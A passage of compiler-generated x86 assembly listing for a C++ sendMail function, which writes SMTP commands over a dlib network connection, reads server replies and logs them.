call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 78
lea ecx, DWORD PTR _smtp_address$151623[ebp]
push ecx
push OFFSET $SG-68227
lea edx, DWORD PTR $T151674[ebp]
push edx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv781[ebp], eax
mov eax, DWORD PTR tv781[ebp]
mov DWORD PTR tv675[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 20 ; 00000014H
push OFFSET $SG-68226
mov ecx, DWORD PTR tv675[ebp]
push ecx
lea edx, DWORD PTR $T151675[ebp]
push edx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv782[ebp], eax
mov eax, DWORD PTR tv782[ebp]
mov DWORD PTR tv677[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 21 ; 00000015H
mov ecx, DWORD PTR tv677[ebp]
push ecx
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@$$QAV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator=
mov BYTE PTR __$EHRec$[ebp+12], 20 ; 00000014H
lea ecx, DWORD PTR $T151675[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151674[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 79
push OFFSET $SG-68228
sub esp, 28 ; 0000001cH
mov edx, esp
mov DWORD PTR $T369511[ebp], esp
lea eax, DWORD PTR _tmpStr$151622[ebp]
push eax
push OFFSET $SG-68229
push edx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv680[ebp], eax
call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message
add esp, 32 ; 00000020H
; Line 80
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
mov esi, eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
push eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data
push eax
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write
cmp eax, esi
je SHORT $LN5@sendMail
; Line 81
mov BYTE PTR $T369512[ebp], 0
mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH
lea ecx, DWORD PTR _con$151653[ebp]
call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 7
lea ecx, DWORD PTR _smtp_address$151623[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 6
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 3
lea ecx, DWORD PTR _config$151618[ebp]
call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>
mov BYTE PTR __$EHRec$[ebp+12], 1
lea ecx, DWORD PTR _to$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 0
lea ecx, DWORD PTR _subject$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR __$EHRec$[ebp+12], -1
lea ecx, DWORD PTR _msg$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov al, BYTE PTR $T369512[ebp]
jmp $LN8@sendMail
$LN5@sendMail:
; Line 83
push 200 ; 000000c8H
push 256 ; 00000100H
lea ecx, DWORD PTR _sBuffer$151621[ebp]
push ecx
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read
; Line 84
push OFFSET $SG-68230
push OFFSET $SG-68231
lea ecx, DWORD PTR $T151685[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv783[ebp], eax
mov edx, DWORD PTR tv783[ebp]
mov DWORD PTR tv689[ebp], edx
mov BYTE PTR __$EHRec$[ebp+12], 22 ; 00000016H
sub esp, 28 ; 0000001cH
mov eax, esp
mov DWORD PTR $T369513[ebp], esp
lea ecx, DWORD PTR _sBuffer$151621[ebp]
push ecx
mov edx, DWORD PTR tv689[ebp]
push edx
push eax
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv692[ebp], eax
call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message
add esp, 32 ; 00000020H
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151685[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 86
lea eax, DWORD PTR _to$[ebp]
push eax
push OFFSET $SG-68233
lea ecx, DWORD PTR $T151690[ebp]
push ecx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv784[ebp], eax
mov edx, DWORD PTR tv784[ebp]
mov DWORD PTR tv694[ebp], edx
mov BYTE PTR __$EHRec$[ebp+12], 23 ; 00000017H
push OFFSET $SG-68232
mov eax, DWORD PTR tv694[ebp]
push eax
lea ecx, DWORD PTR $T151691[ebp]
push ecx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv785[ebp], eax
mov edx, DWORD PTR tv785[ebp]
mov DWORD PTR tv696[ebp], edx
mov BYTE PTR __$EHRec$[ebp+12], 24 ; 00000018H
mov eax, DWORD PTR tv696[ebp]
push eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@$$QAV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator=
mov BYTE PTR __$EHRec$[ebp+12], 23 ; 00000017H
lea ecx, DWORD PTR $T151691[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151690[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 87
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
mov esi, eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
push eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data
push eax
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write
cmp eax, esi
je SHORT $LN4@sendMail
; Line 88
mov BYTE PTR $T369514[ebp], 0
mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH
lea ecx, DWORD PTR _con$151653[ebp]
call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 7
lea ecx, DWORD PTR _smtp_address$151623[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 6
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 3
lea ecx, DWORD PTR _config$151618[ebp]
call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>
mov BYTE PTR __$EHRec$[ebp+12], 1
lea ecx, DWORD PTR _to$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 0
lea ecx, DWORD PTR _subject$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR __$EHRec$[ebp+12], -1
lea ecx, DWORD PTR _msg$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov al, BYTE PTR $T369514[ebp]
jmp $LN8@sendMail
$LN4@sendMail:
; Line 90
push 200 ; 000000c8H
push 256 ; 00000100H
lea ecx, DWORD PTR _sBuffer$151621[ebp]
push ecx
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read
; Line 91
push OFFSET $SG-68234
push OFFSET $SG-68235
lea ecx, DWORD PTR $T151697[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv786[ebp], eax
mov edx, DWORD PTR tv786[ebp]
mov DWORD PTR tv705[ebp], edx
mov BYTE PTR __$EHRec$[ebp+12], 25 ; 00000019H
sub esp, 28 ; 0000001cH
mov eax, esp
mov DWORD PTR $T369515[ebp], esp
lea ecx, DWORD PTR _sBuffer$151621[ebp]
push ecx
mov edx, DWORD PTR tv705[ebp]
push edx
push eax
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv708[ebp], eax
call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message
add esp, 32 ; 00000020H
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151697[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 94
push OFFSET $SG-68236
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator=
; Line 95
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
mov esi, eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
push eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data
push eax
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write
cmp eax, esi
je SHORT $LN3@sendMail
; Line 96
mov BYTE PTR $T369516[ebp], 0
mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH
lea ecx, DWORD PTR _con$151653[ebp]
call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 7
lea ecx, DWORD PTR _smtp_address$151623[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 6
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 3
lea ecx, DWORD PTR _config$151618[ebp]
call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>
mov BYTE PTR __$EHRec$[ebp+12], 1
lea ecx, DWORD PTR _to$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 0
lea ecx, DWORD PTR _subject$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR __$EHRec$[ebp+12], -1
lea ecx, DWORD PTR _msg$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov al, BYTE PTR $T369516[ebp]
jmp $LN8@sendMail
$LN3@sendMail:
; Line 98
push 200 ; 000000c8H
push 256 ; 00000100H
lea eax, DWORD PTR _sBuffer$151621[ebp]
push eax
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read
; Line 99
push OFFSET $SG-68237
push OFFSET $SG-68238
lea ecx, DWORD PTR $T151706[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv787[ebp], eax
mov ecx, DWORD PTR tv787[ebp]
mov DWORD PTR tv717[ebp], ecx
mov BYTE PTR __$EHRec$[ebp+12], 26 ; 0000001aH
sub esp, 28 ; 0000001cH
mov edx, esp
mov DWORD PTR $T369517[ebp], esp
lea eax, DWORD PTR _sBuffer$151621[ebp]
push eax
mov ecx, DWORD PTR tv717[ebp]
push ecx
push edx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv720[ebp], eax
call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message
add esp, 32 ; 00000020H
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151706[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 102
lea edx, DWORD PTR _smtp_address$151623[ebp]
push edx
push OFFSET $SG-68240
lea eax, DWORD PTR $T151711[ebp]
push eax
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv788[ebp], eax
